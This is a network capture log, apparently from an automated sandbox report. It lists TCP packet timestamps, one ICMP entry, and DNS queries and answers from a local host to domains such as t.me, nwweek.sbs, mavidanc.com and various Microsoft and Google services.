Dec 29, 2024 05:46:18.759380102 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:19.083317995 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.088284016 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.088316917 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.088407040 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.088620901 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:19.094759941 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:19.418809891 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.424146891 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.424169064 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.424251080 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.424494028 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:19.432471991 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:19.757905006 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.764347076 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.764358044 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.764480114 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:19.764626980 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:19.770972013 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:20.094978094 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.100048065 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.100090981 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.100171089 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.100332975 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:20.119239092 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:20.443259001 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.448755980 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.448774099 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.448860884 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.449040890 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:20.456892967 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:20.781136036 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.786690950 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.786835909 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.786950111 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:20.786967039 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:20.792804003 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:21.117316008 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.123598099 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.123625994 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.123734951 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.124840975 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:21.135181904 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:21.463548899 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.469918013 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.469961882 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.470027924 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.470200062 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:21.476334095 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:21.806101084 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.811630964 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.811641932 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.811780930 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:21.814434052 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:21.821852922 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:22.145864964 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.150913000 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.150974989 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.151015043 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.151381016 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:22.164175034 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:22.504997015 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.510788918 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.510798931 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.510807037 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.512873888 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:22.519670010 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:22.843858957 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.849126101 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.849229097 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.849247932 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:22.849400997 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:22.855549097 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:23.179527998 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.184729099 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.184739113 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.184905052 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.185003042 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:23.195079088 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:23.519207954 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.524293900 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.524327040 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.524364948 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.524560928 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:23.533164024 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:23.857839108 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.862476110 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.862485886 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.862571955 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:23.862813950 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:23.870629072 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:24.194717884 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.200233936 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.200521946 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:24.222537994 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.222548008 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.232214928 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:24.548816919 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.556137085 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.561434031 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.561443090 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.561528921 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.561675072 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:24.571892977 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:24.896579027 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.901357889 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.901411057 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.901492119 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:24.903968096 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:24.911302090 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:25.243662119 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.269665003 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:25.286897898 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.286922932 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.286973953 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.287270069 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:25.294852018 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:25.618779898 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.624388933 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.624432087 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.624519110 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.624638081 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:25.631046057 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:25.955019951 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.963488102 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.963519096 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.963608980 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:25.963905096 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:25.970201015 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:26.294280052 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.300122023 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.300148964 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.300214052 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.300426960 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:26.306761980 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:26.630811930 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.636735916 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.636755943 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.636847973 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.637022018 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:26.643868923 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:26.967849016 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.977319002 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.977380991 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.977480888 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.977489948 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:26.977715969 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:27.003449917 CET	62892	443	192.168.2.5	23.49.251.25
Dec 29, 2024 05:46:27.327037096 CET	443	62892	23.49.251.25	192.168.2.5
Dec 29, 2024 05:46:32.571738005 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:32.571877956 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:32.572071075 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:32.572135925 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.584846020 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.584923029 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.585248947 CET	50773	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:46:33.585486889 CET	59387	53	192.168.2.5	1.1.1.1
Dec 29, 2024 05:46:33.585577965 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.585623980 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.665539026 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:33.666029930 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.706834078 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.770335913 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.770411968 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.908365965 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:33.908385038 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:33.908397913 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:33.908413887 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:33.908422947 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:33.908433914 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:33.908796072 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.908874989 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.908911943 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.925376892 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:33.989207983 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:34.018821001 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:34.094613075 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:34.095916033 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:34.096451998 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:34.096590996 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:34.232065916 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:34.232079029 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:34.248542070 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:34.269382000 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:35.754551888 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:35.754714012 CET	54819	443	192.168.2.5	172.64.41.3
Dec 29, 2024 05:46:36.079271078 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:36.080173969 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:36.080336094 CET	443	54819	172.64.41.3	192.168.2.5
Dec 29, 2024 05:46:36.080622911 CET	54819	443	192.168.2.5	172.64.41.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 29, 2024 05:45:30.741224051 CET	192.168.2.5	1.1.1.1	c2b8	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 29, 2024 05:44:56.328085899 CET	192.168.2.5	1.1.1.1	0x7508	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:44:58.488925934 CET	192.168.2.5	1.1.1.1	0x2853	Standard query (0)	nwweek.sbs	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:15.171885967 CET	192.168.2.5	1.1.1.1	0x7854	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:15.172055006 CET	192.168.2.5	1.1.1.1	0x3b72	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 29, 2024 05:45:29.869237900 CET	192.168.2.5	1.1.1.1	0xd804	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:29.869658947 CET	192.168.2.5	1.1.1.1	0xc4bb	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Dec 29, 2024 05:45:32.564095020 CET	192.168.2.5	1.1.1.1	0x3c95	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:32.564270973 CET	192.168.2.5	1.1.1.1	0x8e63	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Dec 29, 2024 05:45:33.229223967 CET	192.168.2.5	1.1.1.1	0x1449	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:33.229528904 CET	192.168.2.5	1.1.1.1	0x4e84	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Dec 29, 2024 05:45:34.615850925 CET	192.168.2.5	1.1.1.1	0x7946	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:34.616314888 CET	192.168.2.5	1.1.1.1	0xa7be	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 29, 2024 05:45:34.616878033 CET	192.168.2.5	1.1.1.1	0x1b1b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:34.617114067 CET	192.168.2.5	1.1.1.1	0x19c5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 29, 2024 05:45:34.625098944 CET	192.168.2.5	1.1.1.1	0x1161	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:34.625269890 CET	192.168.2.5	1.1.1.1	0xb213	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Dec 29, 2024 05:45:35.481519938 CET	192.168.2.5	1.1.1.1	0x7bf3	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:35.481698990 CET	192.168.2.5	1.1.1.1	0x4128	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Dec 29, 2024 05:45:35.486068010 CET	192.168.2.5	1.1.1.1	0x41e7	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:35.486335993 CET	192.168.2.5	1.1.1.1	0x9bb0	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Dec 29, 2024 05:45:35.621119976 CET	192.168.2.5	1.1.1.1	0xe01f	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:35.621274948 CET	192.168.2.5	1.1.1.1	0x11bd	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Dec 29, 2024 05:45:35.762130976 CET	192.168.2.5	1.1.1.1	0x5c3e	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:35.762415886 CET	192.168.2.5	1.1.1.1	0x7b56	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Dec 29, 2024 05:46:00.057173014 CET	192.168.2.5	1.1.1.1	0x4ddd	Standard query (0)	mavidanc.com	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:46:33.585248947 CET	192.168.2.5	1.1.1.1	0x26fc	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:46:33.585486889 CET	192.168.2.5	1.1.1.1	0x43f1	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 29, 2024 05:44:56.465373993 CET	1.1.1.1	192.168.2.5	0x7508	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:44:59.008294106 CET	1.1.1.1	192.168.2.5	0x2853	No error (0)	nwweek.sbs		116.203.14.4	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:15.308829069 CET	1.1.1.1	192.168.2.5	0x7854	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:15.309515953 CET	1.1.1.1	192.168.2.5	0x3b72	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 29, 2024 05:45:30.006417990 CET	1.1.1.1	192.168.2.5	0xc4bb	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:30.006429911 CET	1.1.1.1	192.168.2.5	0xd804	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:30.009593010 CET	1.1.1.1	192.168.2.5	0xf2d1	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:30.009593010 CET	1.1.1.1	192.168.2.5	0xf2d1	No error (0)	mira-tmc.tm-4.office.com		52.123.243.176	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:30.009593010 CET	1.1.1.1	192.168.2.5	0xf2d1	No error (0)	mira-tmc.tm-4.office.com		52.123.243.182	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:30.009593010 CET	1.1.1.1	192.168.2.5	0xf2d1	No error (0)	mira-tmc.tm-4.office.com		52.123.243.179	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:30.009593010 CET	1.1.1.1	192.168.2.5	0xf2d1	No error (0)	mira-tmc.tm-4.office.com		52.123.243.181	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:30.009593010 CET	1.1.1.1	192.168.2.5	0xf2d1	No error (0)	mira-tmc.tm-4.office.com		52.123.243.180	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:30.009593010 CET	1.1.1.1	192.168.2.5	0xf2d1	No error (0)	mira-tmc.tm-4.office.com		52.123.243.184	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:30.009593010 CET	1.1.1.1	192.168.2.5	0xf2d1	No error (0)	mira-tmc.tm-4.office.com		52.123.243.178	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:30.009593010 CET	1.1.1.1	192.168.2.5	0xf2d1	No error (0)	mira-tmc.tm-4.office.com		52.123.243.185	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:30.011562109 CET	1.1.1.1	192.168.2.5	0x17	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:30.632463932 CET	1.1.1.1	192.168.2.5	0xd904	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:30.632463932 CET	1.1.1.1	192.168.2.5	0xd904	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:30.741063118 CET	1.1.1.1	192.168.2.5	0x680b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:32.702831984 CET	1.1.1.1	192.168.2.5	0x8e63	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:32.788919926 CET	1.1.1.1	192.168.2.5	0x3c95	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:33.366200924 CET	1.1.1.1	192.168.2.5	0x1449	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:33.366200924 CET	1.1.1.1	192.168.2.5	0x1449	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:33.367182970 CET	1.1.1.1	192.168.2.5	0x4e84	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:34.753145933 CET	1.1.1.1	192.168.2.5	0x7946	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:34.753145933 CET	1.1.1.1	192.168.2.5	0x7946	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:34.753177881 CET	1.1.1.1	192.168.2.5	0xa7be	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 29, 2024 05:45:34.753523111 CET	1.1.1.1	192.168.2.5	0x1b1b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:34.753523111 CET	1.1.1.1	192.168.2.5	0x1b1b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:34.754317045 CET	1.1.1.1	192.168.2.5	0x19c5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 29, 2024 05:45:34.762176991 CET	1.1.1.1	192.168.2.5	0x1161	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:34.762176991 CET	1.1.1.1	192.168.2.5	0x1161	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:34.762213945 CET	1.1.1.1	192.168.2.5	0xb213	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 29, 2024 05:45:35.619158030 CET	1.1.1.1	192.168.2.5	0x7bf3	No error (0)	sb.scorecardresearch.com		18.161.69.30	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:35.619158030 CET	1.1.1.1	192.168.2.5	0x7bf3	No error (0)	sb.scorecardresearch.com		18.161.69.117	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:35.619158030 CET	1.1.1.1	192.168.2.5	0x7bf3	No error (0)	sb.scorecardresearch.com		18.161.69.8	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:35.619158030 CET	1.1.1.1	192.168.2.5	0x7bf3	No error (0)	sb.scorecardresearch.com		18.161.69.125	A (IP address)	IN (0x0001)	false
Dec 29, 2024 05:45:35.622935057 CET	1.1.1.1	192.168.2.5	0x9bb0	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:35.624458075 CET	1.1.1.1	192.168.2.5	0x41e7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:35.758215904 CET	1.1.1.1	192.168.2.5	0xe01f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:35.759067059 CET	1.1.1.1	192.168.2.5	0x11bd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:35.898886919 CET	1.1.1.1	192.168.2.5	0x5c3e	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:35.902555943 CET	1.1.1.1	192.168.2.5	0x7b56	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 05:45:38.341734886 CET	1.1.1.1	192.168.2.5	0xdf86	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
